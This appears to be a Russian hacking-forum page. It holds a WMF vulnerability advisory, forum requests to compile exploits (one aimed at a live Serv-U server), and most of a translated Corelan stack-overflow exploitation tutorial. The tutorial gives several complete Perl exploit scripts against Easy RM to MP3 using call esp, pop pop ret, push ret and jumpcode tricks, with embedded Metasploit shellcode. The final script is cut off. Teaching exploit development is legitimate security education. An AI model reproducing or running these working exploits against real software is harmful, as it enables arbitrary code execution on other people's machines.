Опасность: Критическая
Описание:
Обнаружено переполнение буфера при обработке метафайлов в "Windows Picture and
Fax Viewer", в результате которого возможно выполнение произвольного кода. Для
этого необходимо сделать специально сформированный WMF-файл и заставить
пользователя его открыть.
Эксплоит
Решение: Способов устранения уязвимости не существует в настоящее время.
Всем настоятельно рекомендуется не открывать недоверенные ".wmf" фалы и
установить высокий уровень безопасности в Internet Explorer.
Производитель :
:zns2: Microsoft
Источник: Securitylab
Записал намедни видео по написанию shellcode, редактированию существующего для
знаменитого sacred_jpg.c.
Обсуждается написание любой команды в Windows.
Народ, вот у меня проблемка, мне нужно скомпилить эту эксплойту, но нет нужных хэдеров, качал с инета, мало того то каждого файла по 10 разных версий, так каждый еще требует уже других хэдэров, может у кого уже они все собраны, откомпильте мне эксплойту пжл, буду очень благодарен...
Линк на неё ...
http://www.web-hack.ru/exploit/exploit.php?go=133
ЗЫ Товарищи, мне реально нужна ваша помощ, нужно скачать один файлик, сервак заброшен, так как до сих порт стоит Serv - U - 4.0.0...
Помогите пожалуйста с выбором компилятора для эксплоитов.GCC & LCC не пашут .
Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaz
5/2011
В предыдущей части руководства (Part1: Stack Based Overflows), я объяснял основы по использованию информации о найденной уязвимости в целях создания собственного эксплойта. На примере из предыдущей части, мы видели, что ESP указывал на начало нашего буфера (стоило лишь добавить 4 байта к шеллкоду), и мы использовали команду “jmp esp”, чтобы заставить выполниться шеллкод.
Примечание: Эта часть руководства полностью связана с первой частью, поэтому перед дальнейшим прочтением вам необходимо с ней ознакомиться.
Способ с использованием “jmp esp”, был прост и идеален. Но так легко будет далеко не всегда. Сегодня мы поговорим и о других способах выполнения/перехода к шеллкоду, и наконец о том, как вам следует поступать, если вы столкнулись с маленьким размером буфера.
Есть множество способов заставить шеллкод выполниться:
Если вы сталкиваетесь с ситуацией, при которой доступное пространство в буфере (после того, как перезаписан EIP) ограничено, но у вас есть много места до перезаписи EIP, то вы можете использовать jumpcode(код прыжка) в меньший буфер (который будет находиться до EIP), чтобы перейти к главной части шеллкода.
Методики, объясненные в этом документе, являются примерами. Цель данной части состоит в том, чтобы объяснить вам, что существуют различные способы выполнить шеллкод, и в иных случаях может быть применима одна из методик (а может быть и в комбинации с другой), чтобы заставить ваш код выполняться..
Возможно, существует еще больше методов, чтобы заставить пэйлод работать и
работать надежно, но если вы владеете теми из перечисленных здесь, и если вы
используете свой здравый смысл, вам удастся найти путь, уводящий вас от
большинства проблем, при попытке сделать переход к вашему шеллкоду. Даже если
методика, казалось бы, работает, но шеллкод не хочет выполняться, вы можете
обратиться к помощи енкодеров(encoders) или изменить местоположения шеллкода,
добавляя NOP’ы с нужной стороны. Это всё может вам сослужить.
Конечно, может быть и так, что уязвимость только приводит к аварийному отказу,
и вообще не может быть эксплуатирована.
Что ж, давайте взглянем на практическую реализацию некоторых из упомянутых выше методик.
call [reg]
Если в регистре содержится адрес, который указывает на шеллкод, то вы сможете,
выполнив call[reg], перейти к его выполнению. Иными словами, если ESP
указывает на шеллкод (т.е., первый байт ESP является первым байтом шеллкода),
то вы можете перезаписать EIP командой “call esp”, и шеллкод будет выполнен.
Этот метод срабатывает со всеми регистрами и весьма популярен, потому что
kernel32.dll содержит множество адресов с call[reg].
Небольшой пример: предположим, что ESP указывает на шеллкод, тогда мы ищем адрес, содержащий опкод ‘call esp’. Для поиска воспользуемся утилитой findjmp:
Затем, напишем эксплойт и перезапишем EIP адресом 0x7C8369F0.
На примере Easy RM to MP3 из первой части сего руководства известно, что мы
можем указать ESP на начало нашего шеллкода, добавив 4 символа между местом,
где перезаписываемым EIP и ESP. Теперь наш эксплойт будет выглядеть таким
образом:
Code:Copy to clipboard
#!usr/bin/perl
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exp_call_esp.m3u";
my $junk= "A" x 26013;
my $eip = pack('V', 0x7C8369F0); #перезаписываем EIP на "call esp"
my $prependesp = "XXXX"; #добавляем 4 байта чтобы достать до ESP
my $shellcode = "\x90" x 25; #ноп-след
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
pwned!
pop ret
Как написано выше, на примере Easy RM to MP3, мы изменили наш буфер таким
образом, что ESP указал непосредственно на наш шеллкод. Что, если не будет ни
одного регистра, который указывал бы на него?
В таком случае, адрес, указывающий на шеллкод, может уже находиться в стеке. Сделайте дамп ESP (d esp), и посмотрите на первые адреса стека. Если один из этих адресов указывает на ваш шеллкод (или буфер), то вы сможете убедиться, что используя “pop ret” или “pop pop ret” можно добиться следующего:
Методика “pop ret” применима, когда ESP+offset уже содержит адрес, который указывает на шеллкод. По дампу ESP может быть видно, указывает ли один из первых адресов в стеке на наш шеллкод, и используя “pop ret” (или “pop pop ret” или “pop pop pop ret”) выталкиваем его в EIP. Каждый “pop” будет выталкивать по одному адресу из стека, и поместив конечный адрес, указывающий на наш шеллкод, в EIP, мы победим =).
Есть и другое применение для “pop ret”: что, если вы управляете EIP, но не один из регистров не указывает на шеллкод, но он может быть найден, например, в смещении ESP+8. В таком случае, вы можете поместить “pop pop ret” в EIP, который перейдет к ESP+8. И если вы поместите указатель на jmp по тому адресу, то поток перейдет к шеллкоду.
Давайте проверим. Мы знаем, что нам необходимо 26013 байт прежде, чем будет перезаписан EIP, и что нам нужно еще 4 байта перед тем, как мы попадем в стек, где ESP указывает на (в моем случае) 0x000ffd38.
Мы представим ESP+8, как 7 нопов + 1 брейк, и таким образом длина нашего буфера не будет нарушена.
26013 «A» + 4 «XXXX» + первый разрыв(брейк) + 7 NOP’ов + второй разрыв(брейк)
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test_pop_ret.m3u";
my $junk= "A" x 26013;
my $eip = "BBBB"; #перезаписываем EIP
my $prependesp = "XXXX"; #четыре байта, чтобы достать до esp
my $shellcode = "\xcc"; #первый брейк
$shellcode = $shellcode . "\x90" x 7; #добавляем 7 байт
$shellcode = $shellcode . "\xcc"; #второй брейк
$shellcode = $shellcode . "\x90" x 500; #место для будущего шеллкода
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Выполнив данный perl-скрипт, запустим полученный файл в конвертере. Приложение упало из-за буферного переполнения. Мы перезаписали EIP на “BBBB”. ESP по адресу 000ffd38 (который начинается с первого разрыва), следом идут 7 NOP’ов, и затем мы видим второй разрыв, который в действительности является началом нашего шеллкода (и находится в адресе 0x000ffd40).
Следующая наша цель состоит в том, чтобы получить значение ESP+8 в EIP (и
обработав это значение, выполнить шеллкод). Мы будем использовать “pop, ret”
технику + “jmp esp”, чтобы достигнуть этой цели.
Один POP выталкивает 4 байта с вершины стека. Таким образом, указатель вершины
стека указал бы на 000ff734. Выполнение следующего POP вытолкнуло бы еще 4
байта с вершины стека. ESP указывал бы на 000ff738. После выполнения команды
RET, значение из ESP, помещается в EIP. Так, если бы значение в 000ff738
содержало адрес на “jmp esp”, то, именно это выполнил бы EIP. Буфер после
000ff738 должен будет содержать наш shellcode.
Мы должны найти гне-нибудь последовательность “pop, pop, ret”, и переписать EIP адресом первой части этой последовательности. Также, мы должны установить ESP+8 в адрес “jmp esp”, сопровождаемый шеллкодом.
Прежде всего, мы должны узнать код операции “pop, pop, ret”. Воспользуемся для этого ассемблерным функционалом windbg, чтобы его получить:
Видим, что опкоды для “pop pop ret” будут 0x58, 0x5d, 0xC3.
Конечно, вы можете использовать pop и для других регистров, но тогда и опкод
будет другим:
Теперь мы должны найти эту последовательность в одной из доступных dll. В первой части руководства мы использовали dll приложения вместо dll операционной системы. Я рекомендую использовать dll приложения, потому что это повышает качество и надежность эксплойта, и применимость его на других версиях Windows. Но, Вы все равно должны проверять используемые адреса базовых библиотек dll. Иногда, случается так, что dll «перестраивается», и в таких случаяъ лучше использовать одну из dll операционной системы, например user32.dll или kernel32.dll.
Запустите Easy RM to MP3 и подключите к процессу windbg.
Отладчик покажет загруженные модули, как операционной системы, так и модули самой программы. (обратите внимание на строки, которые начинаются с ModLoad).
Вот dll нашей программы:
Вы должны избегать использования адресов, которые содержат нулевые байты (т.к. это усложнит работу эксплойта).
Поиск в MSRMCcodec00.dll даст нам некоторые результаты:
Отлично, теперь мы сможем перейти к ESP+8. В той области мы должны поместить адрес “jmp esp” (потому, что RET возьмет этот адрес из той области и поместит его в EIP. В той точке ESP адрес укажет на наш шеллкод, который расположен правее, после адреса “jmp esp).
В первой части руководства мы узнали, что 0x01def23a относится к “jmp esp”.
Хорошо, вернемся к нашему perl-скрипту, и заменим “BBBB” одним из 3-х полученных нами адресов инструкции “pop, pop, ret”, перед которым на 8 байт будут идти NOP’ы (только в экспериментальных целях) следом адрес “jmp esp” , и затем сам шеллкод.
Буфер будет выглядеть следующим образом:
Поток эксплойта будет выглядеть следующим образом:
Мы смоделируем этот процесс при помощи разрывов (брейкпоинтов) и нескольких NOP’ов (имитация шеллкода), таким образом проследим за работой переходов.
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test_pop_pop_ret.m3u";
my $junk= "A" x 26013;
my $eip = pack('V',0x01bb6a10); #адрес pop pop ret из MSRMfilter01.dll
my $jmpesp = pack('V',0x01def23a); #jmp esp
my $prependesp = "XXXX";
my $shellcode = "\x90" x 8;
$shellcode = $shellcode . $jmpesp; #возврат через pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500; #реальный шеллкод
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Работает.
Теперь давайте заменим NOP’ы после jmp esp (ESP+8) реальным шеллкодом (несколько NOP’ов + шеллкод, закодированный в alpha_upper) (выполнит calc):
Code:Copy to clipboard
#!usr/bin/perl
my $file= "real_pop_pop_ret_exp.m3u";
my $junk= "A" x 26013;
my $eip = pack('V',0x01bb6a10); #адрес pop pop ret из MSRMfilter01.dll
my $jmpesp = pack('V',0x01def23a); #jmp esp
my $prependesp = "XXXX";
my $shellcode = "\x90" x 8;
my $shellcode = $shellcode . $jmpesp; #возврат через pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\x90" x 50; #реальный шеллкод + 50 нопов
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
pwned!
push return
“push ret” метод немного похож на call[reg]. Если один из регистров указывает на шеллкод, но по каким-либо причинам вы не можете использовать jmp[reg], чтобы перейти к нему, то можно
Чтобы это осуществить, вы должны перезаписать EIP адресом последовательности “push[reg]+ret”, который можно найти в одной из dll.
Предположим, что шеллкод расположен в ESP. Тогда вам необходимо найти опкоды для ‘push esp’ и ‘ret’.
Видим опкоды 0?54 и 0xc3.
Найдём адреса, содержащие данную последовательность в dll программы:
Берем первый адрес и вписываем его в эксплойт. Запускаем и проверяем в действии:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "push_ret_exploit.m3u";
my $junk= "A" x 26013;
my $eip = pack('V',0x01ba57f6);
my $prependesp = "XXXX";
my $shellcode = "\x90" x 25;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
jmp [reg]+[offset]
Другая техника, которая может решить проблему, при которой шеллкод начинается со смещения регистра, попытаться найти инструкцию “jmp [reg + ret]”, и перезаписать EIP её адресом. Давайте предположим, что мы снова должны перепрыгнуть 8 байт (см. предыдущие примеры). Используя методику “jmp reg+offset”, мы просто перепрыгнули бы через 8 байтов в начало ESP(в область нашего шеллкода).
Мы должны пройти 3 этапа:
Ищем опкоды используя windbg:
Опкод: ff642408.
Теперь вы можете найти dll, в которой присутствует этот опкод, и использовать его адрес, чтобы переписать им EIP. В нашем примере я не смог найти этот опкод. Но вы не ограничены поиском одной лишь инструкции “jmp [esp+8]”. Можно попытаться найти значения со смещением, больше чем 8, после чего, просто поместить дополнительные NOP'ы в начале шеллкода и прыгнуть на них.
blind return
Эта техника основана на следующих этапах:
Эта техника полезна, если: вы не можете указать EIP, чтобы он перешел к регистру, т.к. нет возможности использовать “jmp” или “call” инструкции. Это значит, что необходимо поместить закодированный адрес памяти шеллкода в первые 4 байта ESP, т.к. мы имеем к ним доступ и можем их перезаписать.
Чтобы это осуществить, у вас должен быть адрес памяти шеллкода (= адрес ESP). Как обычно, пытайтесь избегать наличия нулевых байтов в адресе. Если шеллкод может быть помещен в какую-либо область памяти, и адрес этой области не содержит пустых байтов, то эта техника может сработать.
Найдите адрес “ret” в одной из dll.
Установите первые 4 байта ESP в значение адреса, где начинается шеллкод, и перезапишите EIP адресом ret инструкции. Из тестов, которые мы сделали в первой части руководства, мы помним, что ESP начинается c 0x000ffd38. Этот адрес содержит пустой байт(0x00), поэтому мы создаем буфер, который похож на это:
[26094 A][адрес ret][0x000ffd38][shellcode]
Проблема состоит в том, что адрес, используемый для перезаписи EIP, содержит пустой байт, таким образом, шеллкод не попадет в ESP. Это - проблема, но не тупик. Иногда вы можете найти свой буфер (смотрите на первые 26013 A - те, которые идут до перезаписи EIP, так же как и до нулевого байта) позади, в другой области памяти или регистрах, таких как EAX, EBX, ECX, и т.д. В таком случае, вы можете попытаться поместить адрес того регистра, как первые 4 байта шеллкода (в начале ESP, после перезаписи EIP), и все еще переписать EIP адресом “ret” инструкции.
Это техника, у которой есть много зависимостей и недостатков, которые требует ret-инструкция. В любом случае, эта техника не сработает с Easy RM to MP3.
Маленький буфер: прыжок с использованием jump-кода.
Мы говорили о различных способах перехода EIP к нашему шеллкоду. Во всех сценариях у нас было достаточно места для того, чтобы поместить шеллкод в одну из частей буфера. Но что, если окажется так, что у нас не достаточного места, для размещения всего шеллкода?
В наших упражнениях мы использовали 26013 байт прежде, чем перезаписывали EIP, и мы заметили, что ESP указывает на 26013+4 байта, и то, что у нас было много места впереди, после этой точки. Но что, если у нас было бы впереди, например, всего 50 байт (ESP+50)? Что, если наши тесты показали бы, что все, что было написано после тех 50 байтов, не применимо? 50 байт для того, чтобы поместить в них реальный шеллкод не достаточно. Таким образом, мы должны найти другой путь. Мы можем использовать для этих целей те самые 26013 байта, которые использовались для переполнения.
Во-первых, мы должны найти эти 26013 байта в памяти. Если мы не можем их найти, то будет невозможно сослаться на них. Фактически, если мы сможем найти эти байты и узнать, что в нашем распоряжении есть другие регистры, то поместить туда наш шеллкод будет весьма просто.
Если поэксперементируете с Easy RM to MP3 в отладчике, то вы, возможно, заметите, что часть из 26013 байт видна в дампе ESP:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test_jumping.m3u";
my $junk= "A" x 26013;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #представим, что это единственное доступное для шеллкода место 50 байт + 4 байта до ESP
my $nop = "\x90" x 230; #добавим нопов для взульного отделения нашей области от остальных данных программы
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
После запуска test_jumping.m3u, получим:
Мы видим свои 50 X в ESP. Давайте представим, что это - единственное место, доступное для шеллкода. Однако, если мы посмотрим ниже, то увидим заднюю часть буфера, A-массив идущий от адреса 000ffe51 (=ESP+281).
Взглянув на другие регистры, мы не увидим никаких следов от X или A.
Мы можем перейти к ESP, чтобы выполнить какой-либо код, но у нас есть только
50 байт доступного места, чтобы записать шеллкод. Мы также видим другие части
нашего буфера в более нижней позиции в стеке … фактически, когда мы продолжим
дамп ESP, мы увидим огромный буфер из множества A.
К счастью нашлось место для размещения шеллкода в множестве A, а использовать X мы будем для того, чтобы перейти к этой области. Для этого нам необходимо:
Мы будем использовать один из шаблонов metasploit для поиска необходимой позиции, являющейся частью ESP. Сгенерируйте шаблон, скажем, в 1000 символов, и замените первые 1000 символов в сценарии языка Perl шаблоном (и затем добавьте 25013 A’s)
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test2_jumping.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab".
"7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".
"Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1A".
"g2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai".
"4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6".
"Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8A".
"m9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap".
"1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3".
"Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5A".
"t6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av".
"8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0".
"Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2B".
"a3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc".
"5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7".
"Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25013;
my $eip = "BBBB";
my $preshellcode = "X" x 54;
my $nop = "\x90" x 230;
open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
То, что мы видим в 000ffe51, является частью шаблона. Первые 4 символа “5Ai6”.
Используя metasploit pattern_offset утилиту, мы увидим, что эти 4 символа находятся в 257 позиции (смещении) нашего шаблона. Так вместо того, чтобы поместить 26013 A в файл, мы поместим 257 A, следом наш шеллкод, и далее снова 26013 символов A . Или еще лучше, мы запустим только с 250 A, следом 50 NOP’ов, далее наш шеллкод, и остаток заполним А-массивом. В этом случае, если мы допустим небольшую погрешность и попадем не на шеллкод, а в ноп-след, это не будет ошибкой, т.к. поток пройдём по нопам и попадёт в шеллкод.
Давайте настроим для этого наш perl-скрипт:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test3_jumping.m3u";
my $buffersize = 26013;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 54;
my $nop2 = "\x90" x 230;
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE);
print "m3u File Created successfully\n";
Когда приложение упадёт, мы увидим, что наши 50 NOP’ов начинаются в 000ffe80, сопровождаемые шеллкодом (0x90 в 000ffe80), и с другой стороны сопровождаемые A-массивом. Вот, как это выглядит:
Второй шаг, который мы должны сделать, встроить наш jumpcode, который должен быть помещен в ESP. Цель jumpcode’а состоит в том, чтобы перейти к ESP+281 – адрес EIP.
Написать jumpcode столь же просто, как записать необходимые операторы на ассемблере, а затем перевести их в коды операций (удостоверяясь, что у нас нет никаких нулевых байтов или других ограниченных символов).
Переход к ESP+281 потребовал бы: добавить 281 в ESP регистр, и затем выполнить jump esp. 281 = 119h. Не пытайтесь поместить всё в одно действие, т.к. вы рискуете получить опкоды с нулевыми байтами.
Так как у нас есть немного пространства (из-за NOP’ов перед нашим шеллкодом), мы можем допустить небольшую погрешность. Если мы добавим 281 (либо больше), всё будет работать. У нас есть всего 50 байт для нашего jumpcode, но это не проблема.
Давайте добавим 0x5e (94) к ESP, 3 раза, и в завершении переход к esp. Команды
трансляции:
add esp, 0x5e
add esp, 0x5e
add esp, 0x5e
jmp esp
Используя windbg, мы можем получить код операции:
Хорошо, таким образом, код операции для всего jumpcode’а выглядит так: 0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test4_jumping.m3u";
my $buffersize = 26013;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # используется для визуальности
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
jumpcode помещен в ESP. Шеллкод начинается в 000ffe80.
Завершающим этапом, который мы должны сделать, является перезапись EIP на “jmp esp”. Из первой части руководства нам известно, что это может быть достигнуто через адрес 0x01def23a.
Что случится, когда произойдет переполнение?
Давайте добавим разрывы(брейки) и посмотрим ещё раз:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test5_jumping.m3u";
my $buffersize = 26013;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01def23a);
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
